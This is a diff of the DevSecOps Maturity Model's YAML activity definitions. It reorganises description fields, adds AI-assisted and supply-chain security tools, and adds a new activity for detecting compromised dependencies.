isImplemented: false - evidence: "" comments: "" tags: - none @@ -4929,8 +9725,6 @@ Information Gathering: - 8.6 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Grouping%20of%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4961,8 +9755,6 @@ Information Gathering: - 5.26 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Targeted%20alerting - isImplemented: false - evidence: "" comments: "" tags: - none @@ -4990,8 +9782,6 @@ Information Gathering: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Advanced%20app.%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5023,8 +9813,6 @@ Information Gathering: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Coverage%20and%20control%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5056,8 +9844,6 @@ Information Gathering: - 8.2 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Defense%20metrics - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5111,8 +9897,6 @@ Information Gathering: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Monitoring/subsection/Metrics%20are%20combined%20with%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5490,8 +10274,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/Security%20unit%20tests%20for%20important%20components - isImplemented: false - evidence: "" tags: - none Security integration tests for important components: @@ -5517,8 +10299,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/Security%20integration%20tests%20for%20important%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5548,8 +10328,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/Smoke%20Test - isImplemented: false - evidence: "" comments: "" tags: - none @@ -5577,22 +10355,26 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Application%20tests/subsection/High%20coverage%20of%20security%20related%20module%20and%20integration%20tests - isImplemented: false - evidence: "" comments: "" tags: - none Consolidation: Simple false positive treatment: uuid: c1acc8af-312e-4503-a817-a26220c993a0 - description: | - Security tests may produce false positives (or _"false alarms"_), findings that are incorrectly identified as vulnerabilities. - - It is important distinguish these from true positive vulnerabilities to avoid wasting time and resources on non-issues. - - False positive treatment ensures that findings from security tests are triaged and documented, allowing teams to distinguish between real vulnerabilities and false positives. This reduces unnecessary work and helps maintain focus on true risks. - - Some positive findings might be considered an _accepted risk_ by the organization. This must also be documented. + description: "Security tests may produce false positives (or _\"false alarms\"_), + findings that are incorrectly identified as vulnerabilities.\n\nIt is important + distinguish these from true positive vulnerabilities to avoid wasting time + and resources on non-issues.\n\nFalse positive treatment ensures that findings + from security tests are triaged and documented, allowing teams to distinguish + between real vulnerabilities and false positives. This reduces unnecessary + work and helps maintain focus on true risks.\n\nSome positive findings might + be considered an _accepted risk_ by the organization. This must also be documented.\n\nAI + can support triage as a complementary tool: a language model with access to + the finding and the surrounding code can assess reachability and exploitability + in context, propose a triage verdict with reasoning and draft the documentation + of the decision. The human decision stays: AI verdicts are input to triage, + not a substitute for it \u2014 a wrongly auto-closed true positive is exactly + the risk this activity exists to prevent.\n" risk: | If false positives are not managed, teams may ignore all findings, leading to real vulnerabilities being overlooked and increasing the risk of exploitation. Specially, if tests are automated an run daily. measure: | @@ -5631,6 +10413,13 @@ Test and Verification: url: https://github.com/faloker/purify/ description: | The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. references: samm2: - I-DM-A-1 @@ -5642,7 +10431,6 @@ Test and Verification: - 5.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Simple%20false%20positive%20treatment - isImplemented: false tags: - false-positive - defect-management @@ -5650,7 +10438,6 @@ Test and Verification: - sca - sats - dast - evidence: "" comments: "" Treatment of defects with high or critical severity: uuid: 44f2c8a9-4aaa-4c72-942d-63f78b89f385 @@ -5696,7 +10483,6 @@ Test and Verification: tags: - vuln-action - defect-management - evidence: "" Artifact-based false positive treatment: uuid: 8f2b4d5a-3c1e-4b7a-9d8f-2e6c4a1b5d7f risk: Without artifact-specific false positive handling, teams must repeatedly @@ -5735,6 +10521,13 @@ Test and Verification: url: https://github.com/faloker/purify/ description: | The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. - uuid: 500399bd-7dfc-47fd-99d8-b55cefb760a9 name: Dependency-Track description: | @@ -5816,6 +10609,13 @@ Test and Verification: url: https://github.com/faloker/purify/ description: | The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. references: samm2: - I-DM-A-2 @@ -5831,13 +10631,16 @@ Test and Verification: - 5.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Simple%20visualization%20of%20defects - isImplemented: false - evidence: "" comments: "" tags: - none Fix based on accessibility: uuid: 0c10a7f7-f78f-49f2-943d-19fdef248fed + description: |- + Develop a scoring system for asset accessibility, considering factors like: + - Whether the asset is internet-facing (highly recommended) + - The number of network hops required to reach the asset (recommended) + - Authentication requirements for access (recommended) risk: Overwhelming volume of security findings from automated testing tools. This might lead to ignorance of findings. measure: Implement a simple risk-based prioritization framework for vulnerability @@ -5848,12 +10651,6 @@ Test and Verification: resources: 1 usefulness: 4 level: 3 - meta: - implementationGuide: |- - Develop a scoring system for asset accessibility, considering factors like: - - Whether the asset is internet-facing (highly recommended) - - The number of network hops required to reach the asset (recommended) - - Authentication requirements for access (recommended) dependsOn: - 44f2c8a9-4aaa-4c72-942d-63f78b89f385 # Treatment of defects with high or critical severity - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components @@ -5976,6 +10773,13 @@ Test and Verification: url: https://github.com/faloker/purify/ description: | The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. - uuid: 7ec30b0e-9681-427a-80ee-ab811d9e476f name: DefectDojo Client tags: @@ -6038,8 +10842,6 @@ Test and Verification: - 5.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Integration%20of%20vulnerability%20issues%20into%20the%20development%20process - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6081,6 +10883,13 @@ Test and Verification: url: https://github.com/faloker/purify/ description: | The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde name: Business friendly vulnerability management metrics url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 @@ -6229,6 +11038,13 @@ Test and Verification: url: https://github.com/faloker/purify/ description: | The goal of Purify to be an easy-in-use and efficient tool to simplify a workflow of managing vulnerabilities delivered from various (even custom) tools. + - uuid: d899488c-5799-4df1-a14c-3bb92fec3ac3 + name: SecObserve + tags: + - vulnerability management system + url: https://github.com/SecObserve/SecObserve + description: | + SecObserve is an open source vulnerability and license management system for software development teams and cloud environments. It supports a variety of open source vulnerability scanners and integrates into CI/CD pipelines. - uuid: 3b99799c-e875-4cc2-aad7-5ce4564a1cde name: Business friendly vulnerability management metrics url: https://medium.com/uber-security-privacy/business-friendly-vulnerability-management-metrics-cfd702fd7705 @@ -6253,8 +11069,6 @@ Test and Verification: - 5.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Advanced%20visualization%20of%20defects - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6287,8 +11101,6 @@ Test and Verification: - 5.1 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Consolidation/subsection/Reproducible%20defect%20tickets - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6350,13 +11162,19 @@ Test and Verification: name: Ajax Spider tags: [] url: https://www.zaproxy.org/docs/desktop/addons/ajax-spider/ - isImplemented: false - evidence: "" comments: "" tags: - none Simple Scan: uuid: 07796811-37f9-467c-9ff2-48f346e77ff3 + description: "A simple dynamic scan tests the running application from the outside\nand + gives fast feedback on basic weaknesses such as missing security\nheaders + or known misconfigurations. In addition to classic dynamic\napplication security + testing (DAST) scanners, AI can complement\ndynamic testing: agentic penetration + testing tools (e.g. XBOW,\nPentestGPT) explore the running application, chain + findings and\nverify exploitability similar to a human tester. As with static\nanalysis, + AI-based testing complements deterministic scanners rather\nthan replacing + them \u2014 results are non-deterministic and coverage is\nnot guaranteed." risk: Deficient security tests are performed. Simple vulnerabilities are not detected and missing security configurations (e.g. headers) are not set. Fast feedback is not given. @@ -6383,6 +11201,30 @@ Test and Verification: - uuid: 83ae1e92-5eb9-4467-b3d3-fd2f96e6ab63 name: Arachni url: https://github.com/Arachni/arachni + - uuid: e4c5a35b-532f-42b3-971a-7132f196fb78 + name: XBOW + tags: + - ai + - testing + - dast + - commercial + url: https://xbow.com/ + description: |- + Commercial agentic penetration testing platform: AI agents explore a + running application autonomously, chain findings into attack paths and + validate exploitability before reporting. + - uuid: cf897b24-b4d9-418f-a9b0-e110c52cf75e + name: PentestGPT + tags: + - ai + - testing + - dast + url: https://github.com/GreyDGL/PentestGPT + description: |- + Open-source large language model (LLM) assistant for penetration + testing that guides a human tester interactively through an + engagement: it keeps track of the test state, suggests next steps and + helps interpret tool output. references: samm2: - V-ST-A-1 @@ -6394,8 +11236,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Simple%20Scan - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6432,9 +11272,7 @@ Test and Verification: - zap description: | Zest is an experimental specialized scripting language (also known as a domain-specific language) originally developed by the Mozilla security team and is intended to be used in web oriented security tools. - isImplemented: false assessment: For REST APIs, multiple OAuth2 scopes are used. - evidence: "" comments: "" tags: - none @@ -6486,8 +11324,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Coverage%20of%20hidden%20endpoints - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6525,8 +11361,6 @@ Test and Verification: url: https://github.com/schemathesis/schemathesis description: | Schemathesis is a tool for testing web applications and services by sending requests based on the Open API / Swagger schema. - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6560,8 +11394,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Coverage%20of%20sequential%20operations - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6599,8 +11431,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Usage%20of%20multiple%20scanners - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6637,8 +11467,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20applications/subsection/Coverage%20analysis - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6674,8 +11502,6 @@ Test and Verification: url: https://citrusframework.org/ description: Integration Test framework with focus on messaging applications and Microservices. - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6718,8 +11544,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20for%20exposed%20services - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6802,8 +11626,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20of%20the%20configuration%20of%20cloud%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6836,8 +11658,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20for%20unauthorized%20installation - isImplemented: false - evidence: "" dependsOn: - 0de465a6-55a7-4343-af79-948bb5ff10ba # Evaluation of the trust of used components tags: @@ -6869,8 +11689,6 @@ Test and Verification: - 5.17 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Weak%20password%20test - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6900,8 +11718,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Load%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -6941,8 +11757,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Dynamic%20depth%20for%20infrastructure/subsection/Test%20for%20unused%20Resources - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7062,6 +11876,7 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Software%20Composition%20Analysis%20%28server%20side%29 tags: + - vmm-testing - false-positive - defect-management - scanning @@ -7110,10 +11925,9 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20for%20Time%20to%20Patch comments: "" - meta: - implementationGuide: Usage of a version control platform API (e.g. github - API) can be used to fetch the information. Consider that `Measure libyears` - might be an alternative to this activity. + description: Usage of a version control platform API (e.g. github API) can be + used to fetch the information. Consider that `Measure libyears` might be an + alternative to this activity. tags: - patching Test libyear: @@ -7152,10 +11966,9 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20libyear comments: "" - meta: - implementationGuide: | - `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. - An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). + description: | + `libyear` can be integrated into the build process and flag or even better break the build in case the defined threshold (e.g. 30 years) is reached. + An alternative approach is to determine `libyear` based on deployed artifacts (which requires more effort in implementation). tags: - patching API design validation: @@ -7204,7 +12017,6 @@ Test and Verification: - 8.28 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/API%20design%20validation - isImplemented: false dependsOn: - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components tags: @@ -7267,8 +12079,6 @@ Test and Verification: - 8.22 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Local%20development%20security%20checks%20performed - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7329,11 +12139,9 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Software%20Composition%20Analysis%20%28client%20side%29 - isImplemented: false tags: - defect-management - sca - evidence: "" comments: "" Static analysis for important client side components: uuid: e237176b-bec5-447d-a926-e37d6dd60e4b @@ -7400,13 +12208,19 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20important%20client%20side%20components - isImplemented: false - evidence: "" comments: "" tags: - none Static analysis for important server side components: uuid: 6c05c837-8c99-46e2-828b-7c903e27dba4 + description: "Static application security testing (SAST) analyzes source code + for\nvulnerabilities, classically via string matching algorithms and/or\ndataflow + analysis. In addition to these rule-based scanners, AI can\nbe used as a complementary + analysis tool: AI-assisted code review\nand agentic analysis pipelines (e.g. + the Visa Vulnerability Agentic\nHarness) reason about code semantics, perform + threat-model-aware\ndeep dives and can verify findings to reduce false positives.\nAI-based + analysis complements deterministic scanners rather than\nreplacing them \u2014 + its results are non-deterministic and coverage is\nnot guaranteed." risk: Important parts in the source code of the middleware have vulnerabilities. measure: Usage of static analysis tools for important parts of the middleware are used. Static analysis uses for example string matching algorithms and/or @@ -7453,6 +12267,19 @@ Test and Verification: tags: - ide - sast + - uuid: 3466f3e2-7185-4e97-8799-314a9267f010 + name: Visa Vulnerability Agentic Harness (VVAH) + tags: + - ai + - testing + - sast + url: https://github.com/visa/visa-vulnerability-agentic-harness + description: |- + Agentic static application security testing (SAST) pipeline that uses + frontier AI models for autonomous vulnerability discovery, remediation + and validation: threat modeling before analysis, multi-lens deep dives + with adversarial verification and multi-agent voting against false + positives, followed by proposed and validated fixes. dependsOn: - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process - 2a44b708-734f-4463-b0cb-86dc46344b2f # Inventory of production components @@ -7466,8 +12293,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20important%20server%20side%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7505,12 +12330,87 @@ Test and Verification: openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20for%20Patch%20Deployment%20Time comments: "" - meta: - implementationGuide: Self implementation. This activity is not repeated in - the Sub-Dimension "Static depth for infrastructure", but it applies to infrastructure - as well. + description: Self implementation. This activity is not repeated in the Sub-Dimension + "Static depth for infrastructure", but it applies to infrastructure as well. tags: - patching + Test for compromised components: + uuid: 9c776b4e-5895-4040-b63b-c74236ec71b3 + description: "Software composition analysis detects components with known\nvulnerabilities; + compromised components are a different threat:\nlegitimate packages that ship + malware after a maintainer account or\nbuild pipeline was hijacked. Supply + chain attacks like the\nself-replicating Shai-Hulud npm worm (2025) published + hundreds of\ncompromised package versions that stole credentials at install + time \u2014\nfaster than vulnerability feeds and manual review can react." + risk: |- + A compromised version of a legitimate dependency executes malicious + code during installation or build, steals credentials (package + registry tokens, cloud keys) and propagates further before any CVE is + published. Classic vulnerability scanning does not detect it. + measure: |- + Consume dependencies exclusively through a managed artifact repository + and check components against malware and compromise intelligence: + block or quarantine known-compromised versions (e.g. packages affected + by Shai-Hulud) at the artifact repository, enforce a cooldown period + for newly published versions and react to compromise advisories by + purging affected artifacts from caches and rebuilding. + dependsOn: + - f6f7737f-25a9-4317-8de2-09bf59f29b5b # Defined build process + - d918cd44-a972-43e9-a974-eff3f4a5dcfe # Software Composition Analysis (server side) + difficultyOfImplementation: + knowledge: 2 + time: 2 + resources: 2 + usefulness: 4 + level: 3 + implementation: + - uuid: 70da74e9-806d-4db4-b3a7-9c5717060ed8 + name: OpenSSF Malicious Packages + tags: + - supply-chain + - sca + - documentation + url: https://github.com/ossf/malicious-packages + description: |- + Open database of reported malicious and compromised open source + packages in OSV format. Usable as a blocklist feed for artifact + repositories and dependency scanners. + - uuid: e511975e-cad2-45e7-9b1e-9441da889407 + name: Sonatype Repository Firewall + tags: + - supply-chain + - sca + - commercial + url: https://www.sonatype.com/products/sonatype-repository-firewall + description: |- + Policy engine in front of an artifact repository that quarantines + known-malicious, compromised and suspicious package versions before + they enter the internal repository. + - uuid: 5d8b27ac-286e-47a5-b23f-769eb6d74e4a + name: packj + tags: + - OpenSource + - Supply Chain + - vulnerability + url: https://github.com/ossillate-inc/packj + description: | + Packj is a tool to detect software supply chain attacks. It can detect malicious, vulnerable, abandoned, typo-squatting, and other "risky" packages from popular open-source package registries, such as NPM, RubyGems, and PyPI. + references: + samm2: + - V-ST-A-2 + - I-SB-B-2 + iso27001-2017: + - 12.6.1 + - 15.1.1 + iso27001-2022: + - 8.8 + - 5.19 + openCRE: + - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Test%20for%20compromised%20components + tags: + - sca + - supply-chain + comments: "" Static analysis for all self written components: uuid: ee68331f-9b1d-4f61-844b-b2ea04753a84 risk: Parts in the source code of the frontend or middleware have vulnerabilities. @@ -7559,6 +12459,19 @@ Test and Verification: tags: - ide - sast + - uuid: 3466f3e2-7185-4e97-8799-314a9267f010 + name: Visa Vulnerability Agentic Harness (VVAH) + tags: + - ai + - testing + - sast + url: https://github.com/visa/visa-vulnerability-agentic-harness + description: |- + Agentic static application security testing (SAST) pipeline that uses + frontier AI models for autonomous vulnerability discovery, remediation + and validation: threat modeling before analysis, multi-lens deep dives + with adversarial verification and multi-agent voting against false + positives, followed by proposed and validated fixes. dependsOn: - e237176b-bec5-447d-a926-e37d6dd60e4b # Static analysis for important client side components - 6c05c837-8c99-46e2-828b-7c903e27dba4 # Static analysis for important server side components @@ -7573,8 +12486,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20all%20self%20written%20components - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7607,8 +12518,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Usage%20of%20multiple%20analyzers - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7702,8 +12611,6 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Static%20analysis%20for%20all%20components%2Flibraries - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7761,8 +12668,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20applications/subsection/Stylistic%20analysis - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7800,8 +12705,6 @@ Test and Verification: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20stored%20secrets%20in%20build%20artifacts - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7838,8 +12741,6 @@ Test and Verification: - 8.24 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20stored%20secrets%20in%20code - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7875,8 +12776,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20cluster%20deployment%20resources - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7916,8 +12815,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20image%20lifetime - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7959,8 +12856,6 @@ Test and Verification: - ISO 27001:2022 mapping is missing openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20of%20virtualized%20environments - isImplemented: false - evidence: "" comments: "" tags: - none @@ -7996,13 +12891,13 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20the%20cloud%20configuration - isImplemented: false - evidence: "" comments: "" tags: - none Test the definition of virtualized environments: uuid: 8fc3de67-7b8d-420b-8d24-f35928cfed6e + description: For containier (images), test that the images are following best + practices like distroless or non-root. risk: The definition of virtualized environments (e.g. via Dockerfile) might contain unsecure configurations. measure: Test the definition of virtualized environments for unsecured configurations. @@ -8012,9 +12907,6 @@ Test and Verification: resources: 2 usefulness: 3 level: 2 - meta: - implementationGuide: For containier (images), test that the images are following - best practices like distroless or non-root. implementation: - uuid: 94d993ad-ef6e-4d9f-b7a8-27ea68dc3005 name: Dockerfile with hadolint @@ -8052,7 +12944,6 @@ Test and Verification: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20the%20definition%20of%20virtualized%20environments - isImplemented: false tags: - none Test for malware: @@ -8091,8 +12982,6 @@ Test and Verification: - 8.7 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20malware - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8120,8 +13009,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20for%20new%20image%20version - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8165,8 +13052,6 @@ Test and Verification: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Correlate%20known%20vulnerabilities%20in%20infrastructure%20with%20new%20image%20versions - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8215,11 +13100,9 @@ Test and Verification: - 8.8 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Software%20Composition%20Analysis - isImplemented: false tags: - scanning - sca - evidence: "" comments: "" Test of infrastructure components for known vulnerabilities: uuid: 13367d8f-e37f-4197-a610-9ffca4fde261 @@ -8265,8 +13148,6 @@ Test and Verification: - 8.25 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Static%20depth%20for%20infrastructure/subsection/Test%20of%20infrastructure%20components%20for%20known%20vulnerabilities - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8296,8 +13177,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Default%20settings%20for%20intensity - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8327,8 +13206,6 @@ Test and Verification: - 8.29 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Regular%20automated%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8360,8 +13237,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/Deactivating%20of%20unneeded%20tests - isImplemented: false - evidence: "" comments: "" tags: - none @@ -8391,8 +13266,6 @@ Test and Verification: - 8.27 openCRE: - https://www.opencre.org/node/standard/DevSecOps%20Maturity%20Model%20%28DSOMM%29/section/Test%20Intensity/subsection/High%20test%20intensity - 